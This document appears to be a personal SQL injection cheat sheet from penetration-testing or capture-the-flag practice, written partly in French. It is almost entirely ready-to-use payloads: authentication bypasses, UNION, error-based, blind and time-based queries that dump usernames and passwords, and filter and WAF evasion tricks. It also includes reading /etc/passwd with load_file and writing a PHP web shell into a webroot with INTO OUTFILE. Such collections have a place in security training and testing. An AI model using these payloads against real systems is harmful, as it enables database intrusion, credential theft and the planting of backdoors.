SQL Injections

Resources

https://websec.wordpress.com/tag/sql-filter-bypass/

# Cheat sheet
https://github.com/codingo/OSCP-2/blob/master/Documents/SQL%20Injection%20Cheatsheet.md


General and Tricks

# Classical test
' or 1=1 LIMIT 1 --
' or 1=1 LIMIT 1 -- -
' or 1=1 LIMIT 1#
'or 1#
' or 1=1 --
' or 1=1 -- -
admin\'-- -
# Upload file
union all select 1,2,3,4,"<?php echo shell_exec($_GET['cmd']);?>",6 into OUTFILE 'c:/inetpub/wwwroot/backdoor.php'
# Passwords
uNiOn aLl SeleCt 1,2,3,4,conCat(username,0x3a,password),6 FroM users
uNiOn aLl SeleCt 1,2,3,4,conCat(username,0x3a,password,0x3a,flag),6 FroM users

# Dump In One Shot (Shoot):
\' unIOn seLEct 1,make_set(6,@:=0x0a,(selEct(1)froM(information_schema.columns)whEre@:=make_set(511,@,0x3c6c693e,table_name,column_name)),@)#
# Virgule filtrée
SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c //%0B pour espace possible
# sha1 binary
# If sha1 is used as a binary string (true) you can use an hash to bypass conditions and inject SQL
# http://pims.tuxfamily.org/blog/2011/04/write-up-sha1-is-fun-plaidctf/
# echo -n 3fDf | openssl sha1 -binary
Q�u'='�@�[�t�- o��_-

# GBK Charset
# Possible to bypass addslashes and magic_quotes_gpc using chinese charset
# \x27 == '
# \x5c == \
# All chinese char starts with \xbf
# \xbf\x5c is a chinese char. It means that the antislash added will be interpreted as a part or chinese char and so the quote will be interpreted
# where user.login="\xbf' or 1=1;
# Numerical
&news_id=1 union select...


Classical String SQL Injection

# Trigg
recherche=’or 1 ;

# Column number
recherche=’ union select 666 ; → NOK
recherche=’ union select 666,667 ; → OK

# Database identification
recherche=’ union select null,null from users ; 
recherche=’ union select @@version,null ; → NOK → No mysql / mssql
recherche=’ union select versionnumber,null from sysibm.sysversions ; → NOK → Not a db2
recherche=’ union select version,null from v$instance ; → NOK → Not oracle
recherche=’ union select version(),null ; → NOK → Not a postgres
recherche=’ union select null,null from sqlite_master ; → OK → SQLITE

# Tables list
recherche=’ union select name,null from sqlite_master where type=’table’ ;

# User table format
recherche=’union select null,sql FROM sqlite_master WHERE tbl_name = ’users’ AND type = ’table’ ;

# Data extraction
recherche=’ union select username,password from users ; 
recherche=’ union select username,year from users ;


Routed SQL Injection

# Routed → Double SQL Injection → The first result is injected into the second one

login=admin\\' group by 1#

s\' group by 2-- d
→ 0x73272067726f757020627920322d2d2064

login=s\' union select 0x73272067726f757020627920322d2d2064-- d

s\' group by 2-- ds\' union select email, password from users-- d
→ 0x732720756e696f6e2073656c65637420656d61696c2c2070617373776f72642066726f6d2075736572732d2d2064


SQL Truncation

# You can bypass some SQL restrictions playing with the var size limits
# create table users (username varchar(10), password varchar(20)) ;
# insert into users values(’admin’,’findMeIfYouCan’) ;
# insert into users values(’admin [espace] *20 Mou’,’hackedMan’) ;
→ 2 admins added
→ Possible to add your own admin account


Error-based SQL Injection

# All is based on the output, you can then identify the SGBD
# You want to generate errors

# Get the db
&order=,cast((chr(95)||current_database()) as numeric)

# Get the table (using LIMIT/OFFSET allows iteration)
order=,cast(( SELECT table_name FROM information_schema.tables WHERE table_catalog=current_database() LIMIT 1 OFFSET 1 ) as numeric)

# Get columns
order=,(cast(( SELECT column_name FROM information_schema.columns WHERE table_name=chr(109)||chr(51)||chr(109)||chr(98)||chr(114)||chr(51)||chr(53)||chr(116)||chr(52)||chr(98)||chr(108)||chr(51) LIMIT 1 OFFSET 0 ) as int))

# Extract rows from one column
order=,(cast(( SELECT id||chr(32)||us3rn4m3_c0l||chr(32)||p455w0rd_c0l||chr(32)||em41l_c0l FROM m3mbr35t4bl3  LIMIT 1 OFFSET 0) as int))


Insert SQL Injection

# Register form
username=alex2&password=alex&email=@@version) ;# → OK but not executed
username=alex3&password=alex&email=bla’),(’alex4’,’alex’,@@version) ;# → OK and executed !

username=alex5&password=alex&email=bla’),(’alex6’,’alex’,(SELECT table_name FROM information_schema.tables WHERE table_schema=database() limit 0,1)) ;#

username=alex7&password=alex&email=bla’),(’alex8’,’alex’,(SELECT column_name FROM information_schema.columns WHERE table_name=’flag’ limit 0,1)) ;#


Load File SQL Injection

# To read a file you need
# the FILE right (allow you to use load_file() )
# The file full path

# To get the full path for index.php (for example)
?action=members&id[]=1

# You can also use if there are some restrictions
union all select 1,@@secure_file_priv,3,4

# Classic use
union all select load_file('challenge/web-serveur/ch31/index.php'),2,3,4

# If quotes are filtered, you can use hexa
union all select load_file(0x2f6368616c6c656e67652f7765622d736572766575722f636833312f696e6465782e706870),2,3,4

# Or
id=(0)union(select(load_file(char(47,101,116,99,47,112,97,115,115,119,100))),(0),(0),(0)from(member))'


Time Based SQL

# You can use SQL properties → Testing from left to right → If first statement is false & followed by AND, the second won't be tested
# Payload can be 1 AND [condition_a_tester] AND [si_condition_true]
# Heavy Query : 1>(SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.columns C)
# Test condition : exists(SELECT password FROM users WHERE id=1 AND ascii(substring(password,index,1))=codeascii)

# Final payload
1 AND exists(SELECT password FROM users WHERE id=1 AND ascii(substring(password,index,1))=codeascii) AND 1>(SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.columns C)


Blind SQL Injection

# Get the password size
username=admin'and (select length(password)>7)--+
# or
admin' and length(password)=8--

# Enumerate password
admin' and (select substr(password,1,1)='a')--
# or
admin' and substr(password,1,1)='a'--


Bypass Filters

# Bypass whitespace
%0B

# Bypass case check for UNION
UniOn SeLeCT

# Bypass comma (UNION SELECT 1,2,3,4)
UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
UNION SELECT * FROM (SELECT xxxx FROM xxxx LIMIT 1 OFFSET 0)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d


SQLite - UNION based without filters

# Retrieve the table name
login=admin" UNION SELECT group_concat(tbl_name),2 FROM sqlite_master WHERE type='table' AND tbl_name NOT like 'sqlite_%' limit 1 offset 1--&password=zzz

# Get the table structure
login=admin" UNION SELECT sql,2 FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT like 'sqlite_%' AND name='users'--&password=zzz

# Query one specific rowinfi
login=admin" UNION SELECT login,2 FROM users LIMIT 1 OFFSET 2--&password=zzz


WAF Bypass

SELECT-1e1FROM`test`
SELECT~1.FROM`test`
SELECT\NFROM`test`
SELECT@^1.FROM`test`
SELECT-id-1.FROM`test`


MySQL Injection without “in”

# Alternative to information_schema
SELECT * FROM sys.x$schema_flattened_keys;

# Get previous records
SELECT * FROM sys.x$statement_analysis

# Retrieving information without the column name
SELECT (SELECT 1, 'aa') = (SELECT * FROM example)

# Forcing case insensitive comparision
# But binary will be flagged
SELECT (SELECT 1, BINARY('Aa')) = (SELECT * FROM example)
SELECT CONCAT("A", CAST(0 AS JSON));